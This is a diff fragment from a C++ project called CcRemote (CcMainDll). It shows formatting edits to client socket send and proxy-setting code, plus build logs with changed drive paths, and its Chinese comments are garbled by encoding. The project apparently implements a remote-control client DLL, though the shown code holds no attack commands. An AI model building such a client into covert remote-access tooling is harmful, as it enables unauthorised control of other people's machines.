|
||||||
// 4 byte header [Size of UnCompress Entire Packet]
|
// 4 byte header [Size of UnCompress Entire Packet]
|
||||||
m_WriteBuffer.Write((PBYTE) &nSize, sizeof(nSize));
|
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
|
||||||
// Write Data
|
// Write Data
|
||||||
m_WriteBuffer.Write(pDest, destLen);
|
m_WriteBuffer.Write(pDest, destLen);
|
||||||
delete [] pDest;
|
delete[] pDest;
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ<EFBFBD><D9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>Ϊ<EFBFBD>п<EFBFBD><D0BF><EFBFBD><EFBFBD><EFBFBD>m_ResendWriteBuffer<65><72><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD>,<2C><><EFBFBD>Բ<EFBFBD>ֱ<EFBFBD><D6B1>д<EFBFBD><D0B4>
|
||||||
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
|
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
|
||||||
@@ -430,7 +452,7 @@ int CClientSocket::Send( LPBYTE lpData, UINT nSize )
|
|||||||
m_ResendWriteBuffer.ClearBuffer();
|
m_ResendWriteBuffer.ClearBuffer();
|
||||||
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // <20><><EFBFBD>ݷ<EFBFBD><DDB7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (lpResendWriteBuffer)
|
if (lpResendWriteBuffer)
|
||||||
delete [] lpResendWriteBuffer;
|
delete[] lpResendWriteBuffer;
|
||||||
}
|
}
|
||||||
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
|
else // Ҫ<><D2AA><EFBFBD>ط<EFBFBD>, ֻ<><D6BB><EFBFBD><EFBFBD>FLAG
|
||||||
{
|
{
|
||||||
@@ -487,13 +509,13 @@ int CClientSocket::SendWithSplit(LPBYTE lpData, UINT nSize, UINT nSplitSize)
|
|||||||
return SOCKET_ERROR;
|
return SOCKET_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CClientSocket::setManagerCallBack( CManager *pManager )
|
void CClientSocket::setManagerCallBack(CManager *pManager)
|
||||||
{
|
{
|
||||||
m_pManager = pManager;
|
m_pManager = pManager;
|
||||||
}
|
}
|
||||||
|
|
||||||
void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
|
void CClientSocket::setGlobalProxyOption(int nProxyType /*= PROXY_NONE*/, LPCTSTR lpszProxyHost /*= NULL*/,
|
||||||
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/ )
|
UINT nProxyPort /*= 1080*/, LPCTSTR lpszUserName /*= NULL*/, LPCSTR lpszPassWord /*= NULL*/)
|
||||||
{
|
{
|
||||||
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
|
memset(m_strProxyHost, 0, sizeof(m_strProxyHost));
|
||||||
memset(m_strUserName, 0, sizeof(m_strUserName));
|
memset(m_strUserName, 0, sizeof(m_strUserName));
|
||||||
@@ -509,4 +531,3 @@ void CClientSocket::setGlobalProxyOption( int nProxyType /*= PROXY_NONE*/, LPCTS
|
|||||||
if (m_strPassWord != NULL)
|
if (m_strPassWord != NULL)
|
||||||
lstrcpy(m_strPassWord, lpszPassWord);
|
lstrcpy(m_strPassWord, lpszPassWord);
|
||||||
}
|
}
|
||||||
|
|
@@ -1,19 +1,17 @@
|
|||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\debug\ccmaindll.pdb
|
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.ilk
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.dll
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
f:\myapp\ccremote\ccmaindll\debug\ccmaindll.pdb
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.read.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-cvtres.write.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.read.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link-rc.write.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
|
||||||
|
@@ -1,23 +1,22 @@
|
|||||||
pch.cpp
|
pch.cpp
|
||||||
ClientSocket.cpp
|
ClientSocket.cpp
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
Buffer.cpp
|
Buffer.cpp
|
||||||
until.cpp
|
until.cpp
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
正在生成代码...
|
正在生成代码...
|
||||||
dllmain.cpp
|
dllmain.cpp
|
||||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll
|
||||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\CcMainDll.dll
|
|
||||||
|
@@ -1,2 +1,2 @@
|
|||||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||||
|
@@ -1,13 +1,18 @@
|
|||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||||
|
@@ -1,27 +1,24 @@
|
|||||||
pch.cpp
|
pch.cpp
|
||||||
ClientSocket.cpp
|
ClientSocket.cpp
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
|
||||||
Buffer.cpp
|
Buffer.cpp
|
||||||
until.cpp
|
until.cpp
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||||
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||||
g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||||
dllmain.cpp
|
dllmain.cpp
|
||||||
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
|
|
||||||
正在生成代码
|
正在生成代码
|
||||||
0 of 6 functions ( 0.0%) were compiled, the rest were copied from previous compilation.
|
All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||||
0 functions were new in current compilation
|
|
||||||
0 functions had inline decision re-evaluated but remain unchanged
|
|
||||||
已完成代码的生成
|
已完成代码的生成
|
||||||
CcMainDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\CcMainDll.dll
|
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll
|
||||||
|
@@ -1,2 +1,2 @@
|
|||||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||||
|
Reference in New Issue
Block a user